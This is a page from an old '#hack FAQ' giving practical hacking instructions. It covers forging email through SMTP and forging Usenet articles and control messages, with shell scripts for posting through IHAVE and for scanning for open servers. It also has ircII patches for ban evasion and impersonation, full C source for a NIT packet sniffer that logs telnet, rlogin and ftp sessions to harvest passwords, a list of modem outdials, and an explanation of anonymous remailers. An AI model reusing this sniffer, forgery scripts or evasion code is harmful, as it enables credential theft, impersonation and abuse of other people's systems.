| #hack FAQ Home | Computers | Data Networks | Wireless Networks | Telephony | Mobile Telephony |
| Radio | Television | Resources | 2600 | Smart Cards and Magnetic Cards | Miscellaneous |
Telnet to port 25 of the machine you want the mail to appear to originate from. This will connect you directly to the SMTP (Simple Mail Transfer Protocol) daemon running on that host. Then, enter SMTP commands by hand directly to the SMTP daemon.
Enter your message as in this example:
.Please discontinue your silly Clipper initiative.
On systems that have RFC 931 implemented, spoofing your "MAIL FROM:" line will not work. Test by sending yourself fakemail first.
Newer SMTP daemons, such as smail 3.1.29.1+ or sendmail 8.7+, perform an identd check when you connect to them. These SMTP daemons are impossible to completely spoof without first spoofing identd.
For more information read RFC 822 (Standard for the format of ARPA Internet text messages).
Note that the headers inside the DATA statement should be optional, but are actually required by some mailers. Even when not required, they often help your message appear genuine.
To locate an SMTP server for a domain, use `nslookup` and set your querytype to MX.
From: Anonymous (Pretending to be: tale@uunet.uu.net (David C Lawrence))
Subject: FAQ: Better living through forgery
Date: 19 Mar 1995 02:37:09 GMT
Anonymous netnews without "anonymous" remailers
Inspired by the recent "NetNews Judges-L" events, this file has been updated to cover forging control messages, so you can do your own article canceling and create and destroy your own newsgroups.
Save any news article to a file. We'll call it "hak" in this example.
Edit "hak", and remove any header lines of the form
From some!random!path!user (note: "From ", not "From: "!!!)Shorten the Path header down to its LAST two or three "bangized" components. This is to make the article look like it was posted from where it really was posted, and originally hit the net at or near the host you send it to. Or you can construct a completely new Path: line to reflect your assumed alias. Make some change to the Message ID: field, that isn't likely to be duplicated anywhere. This is usually best done by adding a couple of random characters to the part before the @, since news posting programs generally use a fixed-length field to generate these IDs.
Article:
Lines:
Xref:
Change the other headers to say what you like -- From:, Newsgroups:,
Sender:, etc. Replace the original message text with your message. If
you are posting to a moderated group or posting a control message,
remember to put in an Approved: header to bypass the moderation
mechanism.
To specifically cancel someone else's article, you need its message-ID. Your message headers, in addition to what's already there, should also contain the following with that message-ID in it. This makes it a "control message". NOTE: control messages generally require an
Approved: header as well, so you should add one.
Subject: cmsg cancel <xb8700A@twits.site.com>
Control: cancel <xb8700A@twits.site.com>
Approved: luser@twits.site.com
Newsgroups are created and destroyed with control messages, too. If you wanted to create, for instance, comp.misc.microsoft.sucks, your control headers would look like
Subject: cmsg newgroup comp.misc.microsoft.sucks
Control: newgroup comp.misc.microsoft.sucks
Add on the string "moderated" at the end of these if you want the group to be "moderated with no moderator" as with alt.hackers. Somewhere in the body of your message, you should include the following text, changed with the description of the group you're creating:
For your newsgroups file:
comp.misc.microsoft.sucks
We don't do windows
To remove a group, substitute "rmgroup" for "newgroup" in the header lines above. Keep in mind that most sites run all "rmgroup" requests through a human news-master, who may or may not decide to honor it. Group creation is more likely to be automatic than deletion at most installations. Any newsgroup changes are more likely to take effect if the come from me, since my name is hardwired into many of the NNTP control scripts, so using the From: and Approved: headers from this posting is recommended.
Save your changed article, check it to make sure it contains NO reference to yourself or your own site, and send it to your favorite NNTP server that permits transfers via the IHAVE command, using the following script:
#! /bin/sh
## Post an article via IHAVE.
## args: filename server
if test "$2" = "" ; then
echo usage: $0 filename server
exit 1
fi
if test ! -f $1 ; then
echo $1: not found
exit 1
fi
# suck msg-id out of headers, keep the brackets
msgid=`sed -e '/^$/,$d' $1 | egrep '^[Mm]essage-[Ii][Dd]: ' | \
sed 's/.*-[Ii][Dd]: //'`
echo $msgid
( sleep 5
echo IHAVE $msgid
sleep 5
cat $1
sleep 1
echo "."
sleep 1
echo QUIT ) | telnet $2 119
If your article doesn't appear in a day or two, try a different server. They are easy to find. Here's a script that will break a large file full of saved netnews into a list of hosts to try. Edit the output of this if you want, to remove obvious peoples' names and other trash.
#! /bin/sh FGV='fgrep -i -v' egrep '^Path: ' $1 | sed -e 's/^Path: //' -e 's/!/\ /g' | sort -u | fgrep . | $FGV .bitnet | $FGV .uucp
Once you have your host list, feed it to the following script.
#! /bin/sh while read xx ; do if test "$xx" = "" ; then continue; fi echo === $xx ( echo open $xx 119 sleep 5 echo ihave IamSOk00l@podunk.edu sleep 4 echo . echo quit sleep 1 echo quit ) | telnet doneIf the above script is called "findem" and you're using csh, you should do:
findem < list >& outfile
so that ALL output from telnet is captured. This takes a long time, but when it finishes, edit "outfile" and look for occurrences of "335". These mark answers from servers that might be willing to accept an article. This isn't a completely reliable indication, since some servers respond with acceptance and later drop articles. Try a given server with a slightly modified repeat of someone else's message, and see if it eventually appears.
Sometimes the telnets get into an odd state, and freeze, particularly when a host is refusing NNTP connections. If you manually kill these hung telnet processes but not the main script, the script will continue on. In other words, you may have to monitor the finding script a little while it is running.
You will notice other servers that don't necessarily take an IHAVE, but say "posting ok". You can probably do regular POSTS through these, but they will add an "NNTP-Posting-Host: " header containing the machine YOU came from and are therefore unsuitable for completely anonymous use.
Find a server that is split from the rest of IRC and create your own channel there using the name of the channel you want ChanOp on. When that server reconnects to the net, you will have ChanOp on the real channel. If you have ServerOp on a server, you can cause it to split on purpose.
Applying these changes to the source code for your ircII client and recompiling gives you a new ircII command: /NEWUSER. This new command can be used as follows:
The effect is basically changing your username/IRCname on the fly. Although you are disconnected from your server and reconnected, the ircII client is never exited, thus keeping all your state information and aliases intact. This is ideal for bots that wish to be really obnoxious in ban evasion. ;)
As this is now a new command in ircII, it can be used in scripts. Be aware that the reconnect associated with the NEWUSER command takes time, so TIMER any commands that must immediately follow the NEWUSER. For example... ban evasion made easy (but beware infinite reconnects when your site is banned):
on ^474 * {
echo *** Banned from channel $1
if ($N == [AnnMurray]) {
nick $randomstring
join $1
} {
nick AnnMurray
newuser $randomstring
timer 5 join $1
}
}
Or just to be annoying... a /BE <nickname> alias that will assume a person's username and IRCNAME:
alias be {
^on ^311 * {
^on 311 -*
newuser $2 $5-
}
whois $0
}
Now... in order to add this command to your ircII client, get the latest client source (or whatever client source you are using). Cd into the source directory and edit the file "edit.c". Make the following changes:
Locate the line which reads:
extern void server();
static void newuser();
This pre-defines a new function "newuser()" that we'll add later.
"NAMES", "NAMES", funny_stuff, 0,Insert the following line after it:
"NEWUSER", NULL, newuser, 0,
This adds a new command NEWUSER to the list of valid IRCII commands, and tells it to call our new function newuser() to perform it.
Finally, go the bottom of the file and add the following code as our new function "newuser()":
/* * newuser: the /NEWUSER command. Added by Hendrix * Parameters as follows: * /NEWUSER[new_IRCNAME] * is a new username to use and is required * [new_IRCNAME] is a new IRCNAME string to use and is optional * This will disconnect you from your server and reconnect using * the new information given. You will rejoin all channels you * are currently on and keep your current nickname. */ static void newuser(command, args) char *command, *args; { char *newuname; if (newuname = next_arg(args, &args)) { strmcpy(username, newuname, NAME_LEN); if (*args) strmcpy(realname, args, REALNAME_LEN); say("Reconnecting to server..."); close_server(from_server); if (connect_to_server(server_list[from_server].name, server_list[from_server].port, primary_server) != -1) { change_server_channels(primary_server, from_server); set_window_server(-1, from_server, 1); } else say("Unable to reconnect. Use /SERVER to connect."); } else say("You must specify a username and, optionally, an IRCNAME"); }
/NEWUSER will not hide you from a CTCP query. To do that, modify ctcp.c as shown in the following diff and set an environment variable named CTCPFINGER with the information you would like to display when queried.
*** ctcp.old
--- ctcp.c
***************
*** 334 ****
! char c;
--- 334 ---
! char c, *fing;
***************
*** 350,354 ****
! if (pwd = getpwuid(uid))
{
char *tmp;
--- 350,356 ----
! if (fing = getenv("CTCPFINGER"))
! send_ctcp_reply(from, ctcp->name, fing, diff, c);
! else if (pwd = getpwuid(uid))
{
char *tmp;
Sniffing is listening (with software) to the raw network device for packets that interest you. When your software sees a packet that fits certain criteria, it logs it to a file. The most common criteria for an interesting packet is one that contains words like "login" or "password."
You will have to obtain or code a sniffer that is capable of working with the appropriate type of network interface. Popular network interfaces include NIT (Network Interface Tap), and DLPI (Data Link Provider Interface), and BPF (Berkeley Packet Filter.)
LLI was a network interface used by SCO, which has been augmented with DLPI support as of SCO OpenServer Release V. NIT was a network interface used by Sun, but has been replaced in later releases of SunOS/Solaris with DLPI. Ultrix supported the Ultrix Packet Filter before Digital implemented support for BPF.
DLPI is supported under current releases of System V Release 4, SunOS/Solaris, AIX, HP/UX, UnixWare, Irix, and MacOS. DLPI is partially supported under Digital Unix. Sun DLPI version 2 supports Ethernet, X.25 LAPB, SDLC, ISDN LAPD, CSMA/CD, FDDI, token ring, token bus, and Bisync as data-link protocols. The DLPI network interface provided with HP/UX supports Ethernet/IEEE 802.3, IEEE 802.5, FDDI, and Fibre Channel.
For more information regarding DLPI refer to the DLPI Specification or the paper "How to Use DLPI in Solaris 2.x" by Neal Nuckolls.
BPF is supported under current releases of BSD and Digital Unix, and has been ported to SunOS and Solaris. AIX supports BPF reads, but not writes. A BPF library is available for Linux.
Many sniffers are available for various operating systems:
Here is source code for a sample ethernet sniffer using NIT under SunOS 4.x:
/* Esniff.c */
#include <stdio.h>
#include <ctype.h>
#include <string.h>
#include <sys/time.h>
#include <sys/file.h>
#include <sys/stropts.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/nit_if.h>
#include <net/nit_buf.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/udp_var.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <arpa/inet.h>
#define ERR stderr
char *malloc();
char *device,
*ProgName,
*LogName;
FILE *LOG;
int debug=0;
#define NIT_DEV "/dev/nit"
#define CHUNKSIZE 4096 /* device buffer size */
int if_fd = -1;
int Packet[CHUNKSIZE+32];
void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
exit(err); }
void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
exit(err); }
#define IP ((struct ip *)Packet)
#define IP_OFFSET (0x1FFF)
#define SZETH (sizeof(struct ether_header))
#define IPLEN (ntohs(ip->ip_len))
#define IPHLEN (ip->ip_hl)
#define TCPOFF (tcph->th_off)
#define IPS (ip->ip_src)
#define IPD (ip->ip_dst)
#define TCPS (tcph->th_sport)
#define TCPD (tcph->th_dport)
#define IPeq(s,t) ((s).s_addr == (t).s_addr)
#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))
#define MAXBUFLEN (128)
time_t LastTIME = 0;
struct CREC {
struct CREC *Next,
*Last;
time_t Time; /* start time */
struct in_addr SRCip,
DSTip;
u_int SRCport, /* src/dst ports */
DSTport;
u_char Data[MAXBUFLEN+2]; /* important stuff :-) */
u_int Length; /* current data length */
u_int PKcnt; /* # pkts */
u_long LASTseq;
};
struct CREC *CLroot = NULL;
char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);
return( (he)?(he->h_name):(inet_ntoa(ip)) );
}
char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')
SFL(0,TH_FIN, 'F');
SFL(1,TH_SYN, 'S');
SFL(2,TH_RST, 'R');
SFL(3,TH_PUSH,'P');
SFL(4,TH_ACK, 'A');
SFL(5,TH_URG, 'U');
iobuf[6]=0;
return(iobuf);
}
char *SERVp(port)
register u_int port;
{ static char buf[10];
register char *p;
switch(port) {
case IPPORT_LOGINSERVER: p="rlogin"; break;
case IPPORT_TELNET: p="telnet"; break;
case IPPORT_SMTP: p="smtp"; break;
case IPPORT_FTP: p="ftp"; break;
default: sprintf(buf,"%u",port); p=buf; break;
}
return(p);
}
char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
p[strlen(p)-6]=0; /* strip " YYYY\n" */
return(p);
}
char *NOWtm()
{ time_t tm;
time(&tm);
return( Ptm(&tm) );
}
#define MAX(a,b) (((a)>(b))?(a):(b))
#define MIN(a,b) (((a)<(b))?(a):(b))
/* add an item */
#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
register struct CREC *CLtmp = \
(struct CREC *)malloc(sizeof(struct CREC)); \
time( &(CLtmp->Time) ); \
CLtmp->SRCip.s_addr = SIP.s_addr; \
CLtmp->DSTip.s_addr = DIP.s_addr; \
CLtmp->SRCport = SPORT; \
CLtmp->DSTport = DPORT; \
CLtmp->Length = MIN(LEN,MAXBUFLEN); \
bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
CLtmp->PKcnt = 1; \
CLtmp->Next = CLroot; \
CLtmp->Last = NULL; \
CLroot = CLtmp; \
}
register struct CREC *GET_NODE(Sip,SP,Dip,DP)
register struct in_addr Sip,Dip;
register u_int SP,DP;
{ register struct CREC *CLr = CLroot;
while(CLr != NULL) {
if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
break;
CLr = CLr->Next;
}
return(CLr);
}
#define ADDDATA_NODE(CL,DATA,LEN) { \
bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
CL->Length += LEN; \
}
#define PR_DATA(dp,ln) { \
register u_char lastc=0; \
while(ln-- >0) { \
if(*dp < 32) { \
switch(*dp) { \
case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
break; \
case '\r': \
case '\n': fprintf(LOG,"\n : "); \
break; \
default : fprintf(LOG,"^%c", (*dp + 64)); \
break; \
} \
} else { \
if(isprint(*dp)) fputc(*dp,LOG); \
else fprintf(LOG,"(%d)",*dp); \
} \
lastc = *dp++; \
} \
fflush(LOG); \
}
void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
register u_char *d;
register int dl;
register char *msg;
{
fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
fprintf(LOG," DATA: ");
{ register u_int i = CLe->Length;
register u_char *p = CLe->Data;
PR_DATA(p,i);
PR_DATA(d,dl);
}
fprintf(LOG,"\n-- \n");
fflush(LOG);
if(CLe->Next != NULL)
CLe->Next->Last = CLe->Last;
if(CLe->Last != NULL)
CLe->Last->Next = CLe->Next;
else
CLroot = CLe->Next;
free(CLe);
}
/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
time_t tm; \
time(&tm); \
if(LastTIME<tm) { \
register struct CREC *CLe,*CLt = CLroot; \
LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
while(CLe=CLt) { \
CLt=CLe->Next; \
if(CLe->Time <tm) \
END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
} \
} \
}
void filter(cp, pktlen)
register char *cp;
register u_int pktlen;
{
register struct ip *ip;
register struct tcphdr *tcph;
{ register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);
if(EtherType < 0x600) {
EtherType = *(u_short *)(cp + SZETH + 6);
cp+=8; pktlen-=8;
}
if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
return;
}
/* ugh, gotta do an alignment :-( */
bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));
ip = (struct ip *)Packet;
if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
return;
tcph = (struct tcphdr *)(Packet + IPHLEN);
if(!( (TCPD == IPPORT_TELNET) ||
(TCPD == IPPORT_LOGINSERVER) ||
(TCPD == IPPORT_FTP)
)) return;
{ register struct CREC *CLm;
register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
register u_char *p = (u_char *)Packet;
p += ((IPHLEN * 4) + (TCPOFF * 4));
if(debug) {
fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
}
if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {
CLm->PKcnt++;
if(length>0)
if( (CLm->Length + length) < MAXBUFLEN ) {
ADDDATA_NODE( CLm, p,length);
} else {
END_NODE( CLm, p,length, "DATA LIMIT");
}
if(TCPFL(TH_FIN|TH_RST)) {
END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
}
} else {
if(TCPFL(TH_SYN)) {
ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
}
}
IDLE_NODE();
}
}
/* signal handler
*/
void death()
{ register struct CREC *CLe;
while(CLe=CLroot)
END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");
fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
fflush(LOG);
if(LOG != stdout)
fclose(LOG);
exit(1);
}
/* opens network interface, performs ioctls and reads from it,
* passing data to filter function
*/
void do_it()
{
int cc;
char *buf;
u_short sp_ts_len;
if(!(buf=malloc(CHUNKSIZE)))
Pexit(1,"Eth: malloc");
/* this /dev/nit initialization code pinched from etherfind */
{
struct strioctl si;
struct ifreq ifr;
struct timeval timeout;
u_int chunksize = CHUNKSIZE;
u_long if_flags = NI_PROMISC;
if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
Pexit(1,"Eth: nit open");
if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
Pexit(1,"Eth: ioctl (I_SRDOPT)");
si.ic_timout = INFTIM;
if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");
timeout.tv_sec = 1;
timeout.tv_usec = 0;
si.ic_cmd = NIOCSTIME;
si.ic_len = sizeof(timeout);
si.ic_dp = (char *)&timeout;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");
si.ic_cmd = NIOCSCHUNK;
si.ic_len = sizeof(chunksize);
si.ic_dp = (char *)&chunksize;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");
strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
si.ic_cmd = NIOCBIND;
si.ic_len = sizeof(ifr);
si.ic_dp = (char *)𝔦
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");
si.ic_cmd = NIOCSFLAGS;
si.ic_len = sizeof(if_flags);
si.ic_dp = (char *)&if_flags;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");
if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
Pexit(1,"Eth: ioctl (I_FLUSH)");
}
while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
register char *bp = buf,
*bufstop = (buf + cc);
while (bp < bufstop) {
register char *cp = bp;
register struct nit_bufhdr *hdrp;
hdrp = (struct nit_bufhdr *)cp;
cp += sizeof(struct nit_bufhdr);
bp += hdrp->nhb_totlen;
filter(cp, (u_long)hdrp->nhb_msglen);
}
}
Pexit((-1),"Eth: read");
}
/* Authorize your program, generate your own password and uncomment here */
/* #define AUTHPASSWD "EloiZgZejWyms" */
void getauth()
{ char *buf,*getpass(),*crypt();
char pwd[21],prmpt[81];
strcpy(pwd,AUTHPASSWD);
sprintf(prmpt,"(%s)UP? ",ProgName);
buf=getpass(prmpt);
if(strcmp(pwd,crypt(buf,pwd)))
exit(1);
}
*/
void main(argc, argv)
int argc;
char **argv;
{
char cbuf[BUFSIZ];
struct ifconf ifc;
int s,
ac=1,
backg=0;
ProgName=argv[0];
/* getauth(); */
LOG=NULL;
device=NULL;
while((ac<argc) && (argv[ac][0] == '-')) {
register char ch = argv[ac++][1];
switch(toupper(ch)) {
case 'I': device=argv[ac++];
break;
case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
Zexit(1,"Output file cant be opened\n");
break;
case 'B': backg=1;
break;
case 'D': debug=1;
break;
default : fprintf(ERR,
"Usage: %s [-b] [-d] [-i interface] [-f file]\n",
ProgName);
exit(1);
}
}
if(!device) {
if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
Pexit(1,"Eth: socket");
ifc.ifc_len = sizeof(cbuf);
ifc.ifc_buf = cbuf;
if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
Pexit(1,"Eth: ioctl");
close(s);
device = ifc.ifc_req->ifr_name;
}
fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
(debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");
if(!LOG)
LOG=stdout;
signal(SIGINT, death);
signal(SIGTERM,death);
signal(SIGKILL,death);
signal(SIGQUIT,death);
if(backg && debug) {
fprintf(ERR,"[Cannot bg with debug on]\n");
backg=0;
}
if(backg) {
register int s;
if((s=fork())>0) {
fprintf(ERR,"[pid %d]\n",s);
exit(0);
} else if(s<0)
Pexit(1,"fork");
if( (s=open("/dev/tty",O_RDWR))>0 ) {
ioctl(s,TIOCNOTTY,(char *)NULL);
close(s);
}
}
fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
fflush(LOG);
do_it();
}
An Internet outdial is a modem connected to the Internet than you can use to dial out. Normal outdials will only call local numbers. A GOD (Global OutDial) is capable of calling long distance. Outdials are an inexpensive method of calling long distance BBS's.
This FAQ answer is excerpted from CoTNo #5: Internet Outdial List v3.0 by Cavalier and DisordeR
There are several lists of Internet outdials floating around the net these days. The following is a compilation of other lists, as well as v2.0 by DeadKat (CoTNo issue 2, article 4). Unlike other lists where the author just ripped other people and released it, we have sat down and tested each one of these. Some of them we have gotten "Connection Refused" or it timed out while trying to connect...these have been labeled dead.
Working Outdials as of 12/29/94:
NPA IP Address Instructions 215 isn.upenn.edu modem 217 dialout.cecer.army.mil atdt x,xxxXXXXX 218 modem.d.umn.edu atdt9,xxxXXXX 303 yuma.acns.colostate.edu 3020 412 myriad.pc.cc.cmu.edu 2600 Press D at the prompt 412 gate.cis.pitt.edu tn3270,
connect dialout.pitt.edu,
atdtxxxXXXX413 dialout2400.smith.edu Ctrl } gets ENTER NUMBER: xxxxxxx 502 outdial.louisville.edu 502 uknet.uky.edu connect kecnet
@ dial: "outdial2400 or out"602 acssdial.inre.asu.edu atdt8,,,,,[x][yyy]xxxyyyy 614 ns2400.acs.ohio-state.edu 614 ns9600.acs.ohio-state.edu 713 128.249.27.153 atdt x,xxxXXXX 714 modem.nts.uci.edu atdt[area]0[phone] 804 ublan.virginia.edu connect hayes, 9,,xxx-xxxx 804 ublan2.acc.virginia.edu connect telnet
connect hayes
Need password:
NPA IP Address Instructions 204 dial.cc.umanitoba.ca 206 rexair.cac.washington.edu This is an unbroken password 303 yuma.ACNS.ColoState.EDU login: modem 404 128.140.1.239 .modem8|CR 415 annex132-1.EECS.Berkeley.EDU "dial1" or "dial2" or "dialer1" 514 cartier.CC.UMontreal.CA externe,9+number 703 wal-3000.cns.vt.edu dial2400 -aa
Dead/No Connect:
NPA IP Address Instructions 201 idsnet 202 modem.aidt.edu 204 umnet.cc.manitoba.ca "dial12" or "dial24" 206 dialout24.cac.washington.edu 207 modem-o.caps.maine.edu 212 B719-7e.NYU.EDU dial3/dial12/dial24 212 B719-7f.NYU.EDU dial3/dial12/dial24 212 DIALOUT-1.NYU.EDU dial3/dial12/dial24 212 FREE-138-229.NYU.EDU dial3/dial12/dial24 212 UP19-4b.NYU.EDU dial3/dial12/dial24 215 wiseowl.ocis.temple.edu "atz" "atdt 9xxxyyyy" 218 aa28.d.umn.edu "cli" "rlogin modem" at "login:" type "modem" 218 modem.d.umn.edu Hayes 9,XXX-XXXX 301 dial9600.umd.edu 305 alcat.library.nova.edu 305 office.cis.ufl.edu 307 modem.uwyo.edu Hayes 0,XXX-XXXX 313 35.1.1.6 dial2400-aa or dial1200-aa or dialout 402 dialin.creighton.edu 402 modem.criegthon.edu 404 broadband.cc.emory.edu ".modem8" or ".dialout" 408 dialout.scu.edu 408 dialout1200.scu.edu 408 dialout2400.scu.edu 408 dialout9600.scu.edu 413 dialout.smith.edu 414 modems.uwp.edu 416 annex132.berkely.edu atdt 9,,,,, xxx-xxxx 416 pacx.utcs.utoronto.ca modem 503 dialout.uvm.edu 513 dialout24.afit.af.mil 513 r596adi1.uc.edu 514 pacx.CC.UMontreal.CA externe#9 9xxx-xxxx 517 engdial.cl.msu.edu 602 dial9600.telcom.arizona.edu 603 dialout1200.unh.edu 604 dial24-nc00.net.ubc.ca 604 dial24-nc01.net.ubc.ca 604 dial96-np65.net.ubc.ca 604 gmodem.capcollege.bc.ca 604 hmodem.capcollege.bc.ca 609 128.119.131.11 X (X= 1 - 4) Hayes 609 wright-modem-1.rutgers.edu 609 wright-modem-2.rutgers.edu 612 modem_out12e7.atk.com 612 modem_out24n8.atk.com 614 ns2400.ircc.ohio-state.edu "dial" 615 dca.utk.edu dial2400 D 99k # 615 MATHSUN23.MATH.UTK.EDU dial 2400 d 99Kxxxxxxx 616 modem.calvin.edu 617 128.52.30.3 2400baud 617 dialout.lcs.mit.edu 617 dialout1.princeton.edu 617 isdn3.Princeton.EDU 617 jadwingymkip0.Princeton.EDU 617 lord-stanley.Princeton.EDU 617 mpanus.Princeton.EDU 617 mrmodem.wellesley.edu 617 old-dialout.Princeton.EDU 617 stagger.Princeton.EDU 617 sunshine-02.lcs.mit.edu 617 waddle.Princeton.EDU 619 128.54.30.1 atdt [area][phone] 619 dialin.ucsd.edu "dialout" 703 modem_pool.runet.edu 703 wal-3000.cns.vt.edu 713 128.249.27.154 "c modem96" "atdt 9xxx-xxxx" or "Hayes" 713 modem12.bcm.tmc.edu 713 modem24.bcm.tmc.edu 713 modem24.bcm.tmc.edu 714 mdmsrv7.sdsu.edu atdt 8xxx-xxxx 714 modem24.nts.uci.edu 714 pub-gopher.cwis.uci.edu 801 dswitch.byu.edu "C Modem" 808 irmodem.ifa.hawaii.edu 902 star.ccs.tuns.ca "dialout" 916 129.137.33.72 916 cc-dnet.ucdavis.edu connect hayes/dialout 916 engr-dnet1.engr.ucdavis.edu UCDNET <ret> C KEYCLUB <ret> ??? 128.200.142.5 ??? 128.54.30.1 nue, X to discontinue, ? for Help ??? 128.6.1.41 ??? 128.6.1.42 ??? 129.137.33.72 ??? 129.180.1.57 ??? 140.112.3.2 ntu <none> ??? annexdial.rz.uni-duesseldorf.de ??? dial96.ncl.ac.uk ??? dialout.plk.af.mil ??? ee21.ee.ncu.edu.tw cs8005 ??? im.mgt.ncu.edu.tw guest <none> ??? modem.cis.uflu.edu ??? modem.ireq.hydro.qc.ca ??? modems.csuohio.edu ??? sparc20.ncu.edu.tw u349633 ??? sun2cc.nccu.edu.tw ? ??? ts-modem.une.oz.au ??? twncu865.ncu.edu.tw guest <none> ??? vtnet1.cns.ut.edu "CALL" or "call"
If you find any of the outdials to have gone dead, changed commands, or require password, please let us know so we can keep this list as accurate as possible. If you would like to add to the list, feel free to mail us and it will be included in future versions of this list, with your name beside it. Have fun...
[Editors note: Updates have been made to this document after the original publication]
The file /etc/services on most Unix machines lists the port assignments for that machine. For a complete list of port assignments, read RFC (Request For Comments) 1700 "Assigned Numbers"
This FAQ answer was written by Raph Levien:
An anonymous remailer is a system on the Internet that allows you to send e-mail or post messages to Usenet anonymously.
There are two sorts of remailers in widespread use. The first is the anon.penet.fi style, the second is the cypherpunk style. The remailer at anon.penet.fi is immensely popular, with over 160,000 users over its lifetime, and probably tens of thousands of messages per day. Its main advantage is that it's so easy to use. The cypherpunks mailers, which provide much better security, are becoming more popular, however, as there is more awareness of them.
The user of the anon.penet.fi system first needs to get an anonymous id. This is done either by sending mail to somebody who already has one (for example, by replying to a post on Usenet), or sending mail to ping@anon.penet.fi. In either case, penet will mail back the new anon id, which looks like an123456@anon.penet.fi. If an123456 then sends mail to another user of the system, then this is what happens:
There are variations on this scheme, such as posting to Usenet (in which step 3 is eliminated), but that's the basic idea.
Where anon.penet.fi uses a secret database to match anon id's to actual email addresses, the cypherpunks remailers use cryptography to hide the actual identities. Let's say I want to send email to a real email address, or post it to Usenet, but keep my identity completely hidden. To send it through one remailer, this is what happens.
If one trusts the remailer operator, this is good enough. However, the whole point of the cypherpunks remailers is that you don't have to trust any one individual or system. So, people who want real security use a chain of remailers. If any one remailer on the "chain" is honest, then the privacy of the message is assured.
To use a chain of remailers, I first have to prepare the message, which is nestled within multiple layers of encryption, like a Russian matryoshka doll. Preparing such a message is tedious and error prone, so many people use an automated tool such as my premail package. Anyway, after preparing the message, it is sent to the first remailer in the chain, which corresponds to the outermost layer of encryption. Each remailer strips off one layer of encryption and sends the message to the next, until it reaches the final remailer. At this point, only the innermost layer of encryption remains. This layer is stripped off, revealing the plaintext message and recipient for the first time. At this point, the message is sent to its actual recipient.
Remailers exist in many locations. A typical message might go through Canada, Holland, Berkeley, and Finland before ending up at its final location.
Aside from the difficulty of preparing all the encrypted messages, another drawback of the cypherpunk remailers is that they don't easily allow responses to anonymous mail. All information about the sender is stripped away, including any kind of return address. However the new alias servers promise to change that. To use an alias server, one creates a new email address (mine is raph@alpha.c2.org). Mail sent to this new address will be untraceably forwarded to one's real address.
